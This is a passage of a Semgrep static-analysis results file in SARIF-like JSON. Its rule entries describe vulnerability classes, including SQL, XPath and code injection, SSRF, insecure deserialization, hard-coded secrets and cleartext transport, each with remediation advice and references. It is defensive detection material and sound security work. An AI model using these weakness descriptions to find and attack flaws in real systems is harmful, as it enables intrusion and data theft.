HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"help":{"markdown":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection()](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection())\n","text":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects potential Google Maps API keys in code"},"help":{"markdown":"Detects potential Google Maps API keys in code\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak)\n - [https://ozguralp.medium.com/unauthorized-google-maps-api-key-usage-cases-and-why-you-need-to-care-1ccb28bf21e](https://ozguralp.medium.com/unauthorized-google-maps-api-key-usage-cases-and-why-you-need-to-care-1ccb28bf21e)\n","text":"Detects potential Google Maps API keys in code"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak","id":"generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak","name":"generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak","properties":{"precision":"very-high","tags":["CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory","MEDIUM CONFIDENCE","OWASP-A3:2017 Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.openai.openai-hardcoded-secret.openai-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.openai.openai-hardcoded-secret.openai-hardcoded-secret","id":"python.openai.openai-hardcoded-secret.openai-hardcoded-secret","name":"python.openai.openai-hardcoded-secret.openai-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.openai.openai-hardcoded-secret.openai-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$VAULT.getPoolTokens() call on a Balancer pool is not protected from the read-only reentrancy."},"help":{"markdown":"$VAULT.getPoolTokens() call on a Balancer pool is not protected from the read-only reentrancy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens)\n - [https://quillaudits.medium.com/decoding-sentiment-protocols-1-million-exploit-quillaudits-f36bee77d376](https://quillaudits.medium.com/decoding-sentiment-protocols-1-million-exploit-quillaudits-f36bee77d376)\n - [https://hackmd.io/@sentimentxyz/SJCySo1z2](https://hackmd.io/@sentimentxyz/SJCySo1z2)\n","text":"$VAULT.getPoolTokens() call on a Balancer pool is not protected from the read-only reentrancy."},"helpUri":"https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens","id":"solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens","name":"solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django","id":"python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django","name":"python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The Mustache escape function is being overwritten. This could bypass HTML escaping safety measures built into the rendering engine, exposing your application to cross-site scripting (XSS) vulnerabilities. If you need unescaped HTML, use the triple brace operator in your template: '{{{ ... }}}'."},"help":{"markdown":"The Mustache escape function is being overwritten. This could bypass HTML escaping safety measures built into the rendering engine, exposing your application to cross-site scripting (XSS) vulnerabilities. If you need unescaped HTML, use the triple brace operator in your template: '{{{ ... }}}'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite)\n - [https://github.com/janl/mustache.js/#variables](https://github.com/janl/mustache.js/#variables)\n","text":"The Mustache escape function is being overwritten. This could bypass HTML escaping safety measures built into the rendering engine, exposing your application to cross-site scripting (XSS) vulnerabilities. If you need unescaped HTML, use the triple brace operator in your template: '{{{ ... }}}'."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite","id":"javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite","name":"javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret","id":"java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret","name":"java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a debug template tag in a Django template. This dumps debugging information to the page when debug mode is enabled. Showing debug information to users is dangerous because it may reveal information about your environment that malicious actors can use to gain access to the system. Remove the debug tag."},"help":{"markdown":"Detected a debug template tag in a Django template. This dumps debugging information to the page when debug mode is enabled. Showing debug information to users is dangerous because it may reveal information about your environment that malicious actors can use to gain access to the system. Remove the debug tag.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.templates.debug-template-tag.debug-template-tag)\n - [https://docs.djangoproject.com/en/4.2/ref/templates/builtins/#debug](https://docs.djangoproject.com/en/4.2/ref/templates/builtins/#debug)\n - [https://stackoverflow.com/questions/2213977/django-debug-display-all-variables-of-a-page](https://stackoverflow.com/questions/2213977/django-debug-display-all-variables-of-a-page)\n","text":"Detected a debug template tag in a Django template. This dumps debugging information to the page when debug mode is enabled. Showing debug information to users is dangerous because it may reveal information about your environment that malicious actors can use to gain access to the system. Remove the debug tag."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.templates.debug-template-tag.debug-template-tag","id":"python.django.security.audit.templates.debug-template-tag.debug-template-tag","name":"python.django.security.audit.templates.debug-template-tag.debug-template-tag","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.templates.debug-template-tag.debug-template-tag"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC connection using 'grpc.WithInsecure()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"help":{"markdown":"Found an insecure gRPC connection using 'grpc.WithInsecure()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection)\n - [https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption](https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption)\n","text":"Found an insecure gRPC connection using 'grpc.WithInsecure()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"helpUri":"https://semgrep.dev/r/go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection","id":"go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection","name":"go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection","properties":{"precision":"very-high","tags":["CWE-300: Channel Accessible by Non-Endpoint","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi","id":"python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi","name":"python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg","id":"java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg","name":"java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) PyYAML's `yaml` module is as powerful as `pickle` and so may call any Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) PyYAML's `yaml` module is as powerful as `pickle` and so may call any Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) PyYAML's `yaml` module is as powerful as `pickle` and so may call any Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid","id":"python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid","name":"python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Allowing spawning arbitrary programs or running shell processes with arbitrary arguments may end up in a command injection vulnerability. Try to avoid non-literal values for the command string. If it is not possible, then do not let running arbitrary commands, use a white list for inputs."},"help":{"markdown":"Allowing spawning arbitrary programs or running shell processes with arbitrary arguments may end up in a command injection vulnerability. Try to avoid non-literal values for the command string. If it is not possible, then do not let running arbitrary commands, use a white list for inputs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.detect-child-process.detect-child-process)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Allowing spawning arbitrary programs or running shell processes with arbitrary arguments may end up in a command injection vulnerability. Try to avoid non-literal values for the command string. If it is not possible, then do not let running arbitrary commands, use a white list for inputs."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.detect-child-process.detect-child-process","id":"javascript.aws-lambda.security.detect-child-process.detect-child-process","name":"javascript.aws-lambda.security.detect-child-process.detect-child-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.detect-child-process.detect-child-process"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.peewee-flask.peewee-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"helpUri":"https://semgrep.dev/r/python.flask.db.peewee-flask.peewee-flask","id":"python.flask.db.peewee-flask.peewee-flask","name":"python.flask.db.peewee-flask.peewee-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.peewee-flask.peewee-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://docs.guzzlephp.org/en/stable/quickstart.html#making-a-request](https://docs.guzzlephp.org/en/stable/quickstart.html#making-a-request)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client","id":"php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client","name":"php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password","id":"rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password","name":"rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the message."},"help":{"markdown":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the message.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the message."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","id":"javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","name":"javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers with the ftp package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"help":{"markdown":"Checks for outgoing connections to ftp servers with the ftp package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request)\n - [https://godoc.org/github.com/jlaffaye/ftp#Dial](https://godoc.org/github.com/jlaffaye/ftp#Dial)\n - 